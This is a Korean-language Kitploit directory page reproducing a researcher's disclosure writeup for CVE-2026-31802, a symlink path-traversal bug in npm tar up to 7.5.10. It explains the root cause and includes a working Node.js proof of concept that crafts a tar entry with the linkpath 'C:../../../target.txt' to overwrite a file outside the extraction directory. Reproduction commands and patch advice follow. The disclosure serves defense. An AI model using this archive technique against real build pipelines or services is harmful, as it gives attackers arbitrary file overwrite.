Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31802 — CVE-2026-31802에 대한 개념 증명 및 기술 문서로, npm tar의 심볼릭 링크 경로 탐색 취약점으로 추출 디렉터리 외부의 임의 파일 덮어쓰기를 허용합니다. | Kitploit
도구/GitHubGitHub/jvr2022/cve-2026-31802
Vulnerability AnalysisExploitationWeb SecuritySupply Chain Security
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

CVE-2026-31802에 대한 개념 증명 및 기술 문서로, npm tar의 심볼릭 링크 경로 탐색 취약점으로 추출 디렉터리 외부의 임의 파일 덮어쓰기를 허용합니다.

저장소 보기
115개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31802: tar 심볼릭 링크 경로 탐색 / 임의 파일 덮어쓰기

연구: Joshua van Rijswijk

설명

이 저장소에는 npm tar 패키지(node-tar)의 <= 7.5.10 버전에 영향을 미치는 높은 심각도의 취약점인 CVE-2026-31802에 대한 개념 증명(PoC)과 분석 문서가 포함되어 있습니다.

tar가 C:../../../target.txt와 같은 드라이브 상대 경로 심볼릭 링크 대상을 사용하여 의도된 추출 디렉터리 외부를 가리키는 심볼릭 링크를 생성하도록 속일 수 있다는 것을 발견했습니다. 실제로 이로 인해 추출 중에 cwd를 벗어날 수 있으며, 아카이브 추출을 임의 파일 덮어쓰기 프리미티브로 변환할 수 있습니다.

이 버그는 공격자가 제어하는 tar 아카이브를 사용한 일반적인 추출 동작을 통해 도달할 수 있습니다.

배경

tar가 심볼릭 링크 추출을 처리하는 방식을 살펴보던 중 특정 값이 삭제(샌티타이즈) 및 검증 과정에서 일관되지 않게 처리된다는 것을 발견했습니다. 특히 다음과 같은 드라이브 상대 경로는:

linkpath
root@kitploit:~
C:../../../target.txt

사용 전에 다시 작성되었지만, 최종적으로 저장되고 적용되는 형태와 동일한 형태로 검증되지는 않았습니다.

이러한 불일치가 버그를 악용 가능하게 만드는 원인입니다.

근본 원인

이 취약점은 추출 중에 tar가 조작된 심볼릭 링크 linkpath 값을 처리하는 방식에서 발생합니다.

높은 수준에서 추출 로직은 다음과 같은 경로에서 드라이브 접두사를 제거합니다:

root@kitploit:~
C:../../../target.txt

그리고 이를 다음과 같이 다시 작성합니다:

root@kitploit:~
../../../target.txt

그러나 경로 탐색 안전 검사는 원래 접두사가 제거되기 전의 값을 기준으로 수행되는 반면, 심볼릭 링크 생성은 나중에 다시 작성된 값을 사용합니다.

즉, 악성 아카이브가 경로의 한 형태를 사용하여 검증을 통과할 수 있지만, 디스크에 기록될 때 추출 디렉터리 외부로 탐색하는 심볼릭 링크를 여전히 생성할 수 있습니다.

악용 흐름

악성 아카이브는 다음과 같은 심볼릭 링크 항목을 포함할 수 있습니다:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

다음과 같은 일반적인 사용법으로 추출하면:

root@kitploit:~
tar.x({ cwd, file })

다음과 같은 일이 발생합니다:

  1. linkpath에서 드라이브 접두사가 제거됩니다.
  2. 이스케이프 검사는 여전히 원래 값을 평가합니다.
  3. 항목이 허용됩니다.
  4. 추출된 심볼릭 링크는 다시 작성된 탐색 경로로 생성됩니다.
  5. 해당 심볼릭 링크를 통한 이후 쓰기는 cwd 외부의 파일에 도달합니다.

즉, 추출 로직은 하나의 값을 검증하고 다른 값을 사용합니다. 이러한 차이가 탐색 프리미티브를 생성합니다.

개념 증명(PoC)

추출된 심볼릭 링크가 추출 루트 외부를 가리키도록 만들 수 있고, 이를 사용하여 작업 디렉터리 외부의 파일을 덮어쓸 수 있음을 입증하기 위해 다음 PoC를 작성했습니다.

PoC는:

  • ../target.txt를 생성합니다
  • a/b/l에 심볼릭 링크 항목이 있는 악성 tar 아카이브를 빌드합니다
  • linkpath를 C:../../../target.txt로 설정합니다
  • 아카이브를 현재 디렉터리에 추출합니다
  • a/b/l을 통해 씁니다
  • 외부 파일이 덮어써졌는지 확인합니다

PoC 스크립트:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

재현

취약한 버전 설치

root@kitploit:~
npm install [email protected]

PoC 실행

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

관찰된 출력

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED는 추출 디렉터리 외부의 파일이 덮어써졌음을 확인합니다.

readlink 출력과 파일 목록은 추출된 심볼릭 링크가 의도된 추출 루트 외부를 가리키고 있음을 보여줍니다.

영향

이 문제는 공격자에게 의도된 추출 디렉터리 외부에서 추출을 수행하는 프로세스의 권한으로 임의 파일 덮어쓰기 프리미티브를 제공합니다.

현실적인 시나리오는 다음과 같습니다:

  • 신뢰할 수 없는 tarball을 작업 디렉터리에 추출하는 CLI 도구
  • 타사 아카이브를 소비하는 빌드 및 업데이트 파이프라인
  • 사용자가 제공한 tar 파일을 가져오는 서비스
  • 번들이나 아티팩트를 자동으로 압축 해제하는 개발자 도구

이러한 환경에서 조작된 아카이브는 애플리케이션이 제어할 것으로 예상하는 디렉터리 외부에 쓰기가 발생하도록 할 수 있습니다.

영향을 받는 버전

  • 영향: tar <= 7.5.10
  • 패치됨: tar 7.5.11

수정

이 문제는 **7.5.11**에서 패치되었습니다.

사용자는 즉시 업그레이드해야 합니다:

root@kitploit:~
npm install tar@^7.5.11

참고 자료

  • GitHub Advisory: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
도구 다운로드